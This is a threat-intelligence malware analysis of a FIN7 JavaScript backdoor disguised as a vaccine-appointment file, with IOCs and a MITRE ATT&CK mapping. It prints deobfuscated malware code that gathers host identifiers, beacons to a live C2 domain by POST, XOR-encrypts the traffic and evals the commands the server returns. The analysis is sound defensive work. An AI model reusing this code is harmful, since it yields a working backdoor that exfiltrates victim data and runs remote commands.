342 lines
16 KiB
Markdown
342 lines
16 KiB
Markdown
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# FIN7 still active
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## Table of Contents
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* [Malware analysis](#Malware-analysis)
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* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
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* [Links](#Links)
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+ [Original Tweet](#Original-Tweet)
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+ [Link Anyrun](#Links-Anyrun)
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+ [Links](#code)
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## Malware analysis <a name="Malware-analysis"></a>
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<h4> The script shared by <a href="https://twitter.com/James_inthe_box">Jamesinthebox</a> uses the online obfuscation tool (obfuscator.io), this content two arrays, the first array is used for store the names of variables, sensitives strings for the parsing and debug rights. We can observe the debug method in using multiples structures and variables for making harder the detection for the call of the sensitives strings.
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```js
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_0x54a936 = {
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'_0x32f61a': "function *" + "\( *\)",
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'_0x266e01': "\+\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)",
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'_0x2468d2': function(_0x4061b6, _0x597f44) {
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return _0x4061b6(_0x597f44);
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},
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'_0x3b246a': "init",
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'_0x3f9cac': function(_0x48357f, _0x4b98fc) {
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return _0x48357f + _0x4b98fc;
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},
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'_0x4a2085': "chain",
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'_0x570ddd': function(_0x20f149, _0x13ec09) {
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return _0x20f149 + _0x13ec09;
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},
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'_0x47fe88': "input",
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'_0x2364be': function(_0x4daf29, _0x5ba9e8) {
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return _0x4daf29(_0x5ba9e8);
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},
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'_0x4efc5e': function(_0x532c74) {
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return _0x532c74();
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},
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'_0x2ccd48': "debu",
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'_0x16e271': "gger",
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'_0x2ce955': "action",
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'_0x3707dc': function(_0x2cc56c, _0x3bf43b) {
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return _0x2cc56c !== _0x3bf43b;
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},
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'_0x855ec8': "KUUrd",
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'_0x3f841c': "kohKf",
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'_0x423620': "yneBb",
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'_0x99f1a1': "UuGiZ",
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'_0x129f4a': function(_0x88b8a9, _0x35d08b) {
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return _0x88b8a9 !== _0x35d08b;
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},
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'_0xbcf372': "NCgnV",
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'_0x295b74': "hOtVq"
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},
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_0x1fa895 = !![];
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[...]
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'_0x134ff6': _0x54a936["_0x2ccd48"], // "debu"
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'_0x454dd8': _0x54a936["_0x16e271"], // "gger"
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'_0x4cba02': _0x54a936["_0x2ce955"], // "action"
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[...]
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'_0xd4f598': _0x42e389["_0x134ff6"], // "debu"
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'_0x41fa0b': _0x42e389["_0x454dd8"], // "gger"
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'_0xce516a': _0x42e389["_0x4cba02"] // "action"
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[...]
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["constructor"](_0x4222d8["_0x5c73d4"](_0x4222d8["_0xd4f598"], _0x4222d8["_0x41fa0b"]))["call"](_0x4222d8["_0xce516a"]));
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["constructor"](_0x4222d8["struct"](_0x4222d8["debu"], _0x4222d8["gger"]))["call"](_0x4222d8["action"]));
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```
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#### The obfuscation of the sensitive strings is performed by some algorithmic operations and decode the Uniform Resource Identifier of the previously obtained result.
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```js
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if (_0x3edc['gUTaYc'] === undefined) {
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var _0x197fa4 = function(_0x5637b0) {
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var _0x1f0720 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
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var _0x342d50 = '',
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_0x2db3eb = '';
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for (var _0x2f1361 = 0, _0x597f81, _0x496bb3, _0x381c32 = 0; _0x496bb3 = _0x5637b0['charAt'](_0x381c32++); ~_0x496bb3 && (_0x597f81 = _0x2f1361 % (4) ? _0x597f81 * (64) + _0x496bb3 : _0x496bb3, _0x2f1361++ % (4)) ? _0x342d50 += String['fromCharCode'](255 & _0x597f81 >> (-(2) * _0x2f1361 & 6)) : 0) {
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_0x496bb3 = _0x1f0720['indexOf'](_0x496bb3);
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}
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for (var _0x89b03d = 0, _0x4e9024 = _0x342d50['length']; _0x89b03d < _0x4e9024; _0x89b03d++) {
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_0x2db3eb += '%' + ('00' + _0x342d50['charCodeAt'](_0x89b03d)['toString'](16))['slice'](-(2));
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}
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return decodeURIComponent(_0x2db3eb);
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};
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```
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#### Once convert the hex format to string and use the function for getting the strings, we can see a series of use of parseInt for converting the strings to a number. This gives all the operations the number for breaking the loop in comparing the argument given to the function (_0x1851e9).
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```js
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//First array
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var _0x1a38 = [...];
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(function(_0x47d8a8, _0x1851e9) {
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while (!![]) {
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try {
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// _0x4dd6fd -> 812849
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var _0x4dd6fd = parseInt("664032jQsglL") + parseInt("878120qPdlhQ") + parseInt( "207891HXnkOM") * -parseInt("1gtilFQ") + -parseInt("318972ivovUt") * -parseInt("3kMmBxS") + -parseInt("683150ZjgSKX") + -parseInt("310414kzoHUO") + parseInt("42QmRGus") * -parseInt("11542NSgyNz");
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if (_0x4dd6fd === _0x1851e9) break;
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else _0x47d8a8['push'](_0x47d8a8['shift']());
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} catch (_0x56999e) { _0x47d8a8['push'](_0x47d8a8['shift']()); }
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}
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}(_0x1a38, 812849));
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```
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#### The second array content the code for encrypt and decrypt the initial request to the C2. This use the strings of the first array pushed in the new array for getting it.
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```js
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ZdjtFfVPobMLuWNR = _0x22598f(0x1215, '$^M^') + _0x22598f(0x1026, 'cpk[') + _0x22598f(0x1423, 'ytiX') + _0x22598f(0x1cbe, 'hN$0') + _0x22598f(0x4bd, 'cpk[') + _0x22598f(0x1e9c, 'e!BP') + _0x22598f(0x135b, '09iZ') [...]
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```
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#### This code is executed by the traditional method "split-execute" when the sequence calls by each step by their number of the case. This part of code begin by creating an object which contents a regular expression (4) used for removing the junk part of the data from the second array (0). This code content the next layer of obfuscation with the encoded data and one part of the functions for decoding it, this is executed by an eval call for push it in memory (5). The loop for decode the code to execute is performed by the case 3, once this done that allocate a new shell by ActiveX object (1) and execute with it (2).
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#### That's interesting to note that a backup way was implemented if the ActiveX object don't work, this uses an eval call for launch the next layer.
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```js
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var _0x22ae65 = "4|0|5|3|1|2" ["split"]('|'),
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_0x58f8c4 = 0;
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while (!![]) {
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switch (_0x22ae65[_0x58f8c4++]) {
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case '0':
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apNCulicRPYzOefdrbk = ZdjtFfVPobMLuWNR["replace"](rfJUuzDlHsKTpVP, '');
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continue;
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case '1':
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GfiHEvkZxlSUQFLme = new ActiveXObject("WScript.Shell");
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continue;
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case '2':
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try {
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GfiHEvkZxlSUQFLme["_0x25811a"]("XtJjEIkVZDxKlUehgy");
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} catch (_0x5edbbe) {
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var _0x54831a = eval(yCRQsLachezYpHlTf);
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}
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continue;
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case '3':
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for (OwkFMgqJoXhRBpIsGQA = 0; OwkFMgqJoXhRBpIsGQA < OQywqAtKEYVPLbC["length"]; OwkFMgqJoXhRBpIsGQA++) {
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tIFTSbRMOhaueUVP = gJKESNhpluIOVRw(OQywqAtKEYVPLbC, OwkFMgqJoXhRBpIsGQA) - (1833) * stkChZmIjlpFrxaRDWN / (106314), tIFTSbRMOhaueUVP != (106314) * stkChZmIjlpFrxaRDWN / (240352) && tIFTSbRMOhaueUVP != (444928) * stkChZmIjlpFrxaRDWN / (403216) && (yCRQsLachezYpHlTf += nIoWRmSCpujBFziN(tIFTSbRMOhaueUVP));
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}
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continue;
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case '4':
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rfJUuzDlHsKTpVP = RegExp("lgEOjHXaeD", 'g');
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continue;
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case '5':
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var _0x2fcd87 = eval(apNCulicRPYzOefdrbk);
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continue;
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}
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break;
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}
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```
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#### Here the details of the previous operations in memory :
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```js
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// In memory op (all steps)
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OQywqAtKEYVPLbC = "+Afwb+m+)+[...]&+A8E#**<";
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yCRQsLachezYpHlTf = "";
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// unused string version
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function nIoWRmSCpujBFziN(ysFMcYPvwAKbLgeCSf) { return String.fromCharCode(ysFMcYPvwAKbLgeCSf); }
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function gJKESNhpluIOVRw(wtfsyRlYSEVcqDx, iONhHpdTKgYQJUeZyG) { return wtfsyRlYSEVcqDx.charCodeAt(iONhHpdTKgYQJUeZyG);}
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stkChZmIjlpFrxaRDWN = 1944798/33531;
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for (OwkFMgqJoXhRBpIsGQA = 0; OwkFMgqJoXhRBpIsGQA < OQywqAtKEYVPLbC["length"]; OwkFMgqJoXhRBpIsGQA++) {
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tIFTSbRMOhaueUVP = gJKESNhpluIOVRw(OQywqAtKEYVPLbC, OwkFMgqJoXhRBpIsGQA) - (1833) * stkChZmIjlpFrxaRDWN / (106314), tIFTSbRMOhaueUVP != (106314) * stkChZmIjlpFrxaRDWN / (240352) && tIFTSbRMOhaueUVP != (444928) * stkChZmIjlpFrxaRDWN / (403216) && (yCRQsLachezYpHlTf += nIoWRmSCpujBFziN(tIFTSbRMOhaueUVP));
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}
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//In memory (obfuscated + * will be removed in next step)
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*eva*l*(*unes*c*ape*("fu*n**ctio*n%20*[...]D%0A*%*7D"));
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```
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#### The code of the next layer in memory contents two functions : one for making a delay for the exchange to the C2 and the second for encrypting/decrypting the data. This exchange is encrypted in more the TLS layer with the SSL keys of the certificate for making harder to detect it on the flux with networks rules like SNORT or Suricata. This use "&_&" for splits the part of the code to decrypt and the key to use.
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```js
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// cLean version
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function func_start_delay () {
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var s_WScript = WScript;
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s_WScript.Sleep(120000);
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}
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function func_crypt_controller (var_type, var_request) {
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try{
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var encryption_key = "";
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if(var_type === "decrypt") {
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var_request = unescape(var_request);
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var request_split = var_request.split("&_&");
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var_request = request_split[0];
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if (request_split.length == 2) { encryption_key = request_split[1].split(""); }
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else { return var_request; }
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}
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else {
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encryption_key = (Math.floor(Math.random()*9000) + 1000).toString().split("");
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var_request=unescape(encodeURIComponent(var_request));
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}
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var var_output = new Array(var_request.length);
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for (var i_counter = 0; i_counter < var_request.length; i_counter++) {
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var var_charCode = var_request.charCodeAt(i_counter) ^ encryption_key[i_counter % encryption_key.length].charCodeAt(0);
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var_output[i_counter] = String.fromCharCode(var_charCode);
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}
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var result_string = var_output.join("");
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if(var_type === "encrypt") {
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result_string = result_string + "&_&" + encryption_key.join("");
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result_string = escape(result_string);
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}
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return result_string;
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}catch(e) { return "no"; }
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}
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```
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#### For removing the TLS layer in editing SSLKEYLOGFILE variable for fixing the SSL keys when the executing in the sandbox and removing the first obfuscation. We can now observe in clear the exchange between the victim and the C2. The second obfuscation is removed in getting the key in splitting with "&_&" the code. For all the exchanges, the key change but have the same pattern with 4-5 numbers only as key.
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<p style="center"><img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/cybercriminal%20groups/FIN7/2021-08-24/Pictures/Pcap.png"></img></p>
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#### The first exchange give the last layer to execute and initiate the reconnaissance actions on the computer (Hostname,Username,MAC address ...) in the command given by C2. The pulses to the C2 are randomised (random_knock).
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```js
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function func_main () {
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var ncommand = "";
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var s_WScript = WScript;
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ncommand = send_data("request", "page_id=new", true);
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if(ncommand !== "no") {
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try {
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ncommand = func_crypt_controller("decrypt", ncommand);
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if(ncommand !== "no") {
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eval(func_crypt_controller("decrypt", ncommand));
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}
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}catch(e) {
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}
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}
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var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000);
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s_WScript.Sleep(random_knock);
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func_main();
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}
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function func_id () {
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var mac_address = "#Error#";
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var dns_hostname = "#Error#";
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try{
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var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration where ipenabled = true");
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var lItems = new Enumerator(lrequest);
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for (; !lItems.atEnd(); lItems.moveNext()) {
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mac_address = lItems.item().macaddress;
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dns_hostname = lItems.item().DNSHostName;
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if(typeof mac_address === "string" && mac_address.length > 1) {
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if(typeof dns_hostname !== "string" && dns_hostname.length < 1) {
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dns_hostname = "Unknown";
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}else{
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for (var i_counter = 0; i_counter < dns_hostname.length; i_counter++) {
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if (dns_hostname.charAt(i_counter) > "z") {
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dns_hostname = dns_hostname.substr(0, i_counter) + "_" + dns_hostname.substr(i_counter + 1);
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}
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}
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}
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return mac_address + "_" + dns_hostname;
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}
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}
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}catch(e) {
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return mac_address + "_" + dns_hostname;
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}
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}
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```
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#### This use random path to add to the URL to push the data by a POST (like in the past by FIN7 group).
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```js
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function func_get_path () {
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var var_pathes = ["images", "pictures", "img", "info", "new"];
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var var_files = ["sync", "show", "hide", "add", "new", "renew", "delete"];
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var var_path = var_pathes[Math.floor(Math.random() * var_pathes.length)] + "/" + var_files[Math.floor(Math.random() * var_files.length)];
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return "https://civilizationidium.com/" + var_path;
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}
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```
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#### This sends the data to the C2 after encrypting the data with the key send by the C2 in the previous exchange.
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```js
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function send_data (var_type, var_data, var_crypt) {
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try {
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var http_object = new ActiveXObject("MSXML2.ServerXMLHTTP");
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if(var_type === "request") {
|
||
|
|
http_object.open("POST", func_get_path () + "?type=name", false);
|
||
|
|
var_data = "zawgkveuwynyjvizs=" + func_crypt_controller("encrypt", "group=sp&rt=0&secret=HiyFIYF973IYFCviyv&time=120000&uid=" + uniq_id + "&id=" + func_id() + "&" + var_data);
|
||
|
|
}else{
|
||
|
|
http_object.open("POST", func_get_path () + "?type=content&id=" + uniq_id, false);
|
||
|
|
if(var_crypt) {
|
||
|
|
var_data = func_crypt_controller("encrypt", var_data);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
http_object.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/50.0");
|
||
|
|
http_object.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||
|
|
http_object.setOption(2, 13056);
|
||
|
|
http_object.send(var_data);
|
||
|
|
return http_object.responseText;
|
||
|
|
}catch(e) {
|
||
|
|
return "no";
|
||
|
|
}
|
||
|
|
}
|
||
|
|
```
|
||
|
|
#### And take the following format for pulse to the C2 :
|
||
|
|
|
||
|
|
``` "group=sp&rt=0&secret=HiyFIYF973IYFCviyv&time=120000&uid=54&id=%Mac Address%_%Userneme%&page_id=new" ```
|
||
|
|
|
||
|
|
#### The commands send by the C2 is decrypting with the hardcoded password. The attacker can continue to deploy the next stager with powershell commands (invoke-webrequest, IE COM object, BITS job ...) in resting fileless.
|
||
|
|
|
||
|
|
```js
|
||
|
|
function func_decrypt(strInpit) {
|
||
|
|
strPass = {Redacted}
|
||
|
|
var strRet=new String("");
|
||
|
|
var arrtext = strInpit.split(",");
|
||
|
|
var i_counter=0;var j_counter=0;
|
||
|
|
for(i_counter=0;i_counter<arrtext.length-1;i_counter++) {
|
||
|
|
var char_c=String.fromCharCode(Number(arrtext[i_counter]));
|
||
|
|
var charCom=char_c.charCodeAt(0)^strPass.charCodeAt(j_counter);
|
||
|
|
char_c=String.fromCharCode(charCom);
|
||
|
|
strRet+= char_c;
|
||
|
|
if(j_counter==strPass.length-1)j_counter=0; else j_counter++;
|
||
|
|
}
|
||
|
|
return strRet;
|
||
|
|
}
|
||
|
|
```
|
||
|
|
|
||
|
|
## References MITRE ATT&CK Matrix <a name="Ref-MITRE-ATTACK"></a>
|
||
|
|
###### List of all the references with MITRE ATT&CK Matrix
|
||
|
|
|
||
|
|
|Enterprise tactics|Technics used|Ref URL|
|
||
|
|
| :---------------: |:-------------| :------------- |
|
||
|
|
|Execution|Command and Scripting Interpreter|https://attack.mitre.org/techniques/T059/|
|
||
|
|
|Execution|Windows Command Shell|https://attack.mitre.org/techniques/T1059/003/|
|
||
|
|
|Defense evasion|Subvert Trust Controls|https://attack.mitre.org/techniques/T1553|
|
||
|
|
|Defense evasion|Install Root Certificate|https://attack.mitre.org/techniques/T1553/004/|
|
||
|
|
|Discovery|Query Registry|https://attack.mitre.org/techniques/T1012/|
|
||
|
|
|Discovery|System Information Discovery|https://attack.mitre.org/techniques/T1082/|
|
||
|
|
|Discovery|System Owner/User Discovery|https://attack.mitre.org/techniques/T1033/|
|
||
|
|
|
||
|
|
|
||
|
|
## Indicators Of Compromise (IOC) <a name="IOC"></a>
|
||
|
|
###### List of all the Indicators Of Compromise (IOC)
|
||
|
|
|Indicator|Type|Description|
|
||
|
|
:-------------:|:-------------:|:-------------:|
|
||
|
|
|195.2.92.62|IP|IP C2|
|
||
|
|
|civilizationidium[.]com|Domain|Domain C2|
|
||
|
|
|caa7667bfdbcb04ceb9d81df93fe805dfe4ac8a04b9dd3eaab7b5f7c87c4fc9c|SHA256|vaccine.js|
|
||
|
|
|
||
|
|
|
||
|
|
## Links <a name="Links"></a>
|
||
|
|
###### Original tweet:
|
||
|
|
* [https://twitter.com/James_inthe_box/status/1429537071798972421](https://twitter.com/James_inthe_box/status/1429537071798972421) <a name="Original-Tweet"></a>
|
||
|
|
|
||
|
|
###### Links Anyrun: <a name="Links-Anyrun"></a>
|
||
|
|
* [vaccine appointment according to the new vaccination schedule for residents.txt.js](https://app.any.run/tasks/d430ad97-ac50-4bc0-b305-dbc6b997265f/)
|
||
|
|
|
||
|
|
###### Code: <a name="code"></a>
|
||
|
|
* [code of differents layers](https://github.com/StrangerealIntel/CyberThreatIntel/tree/master/cybercriminal%20groups/FIN7/2021-08-24/code)
|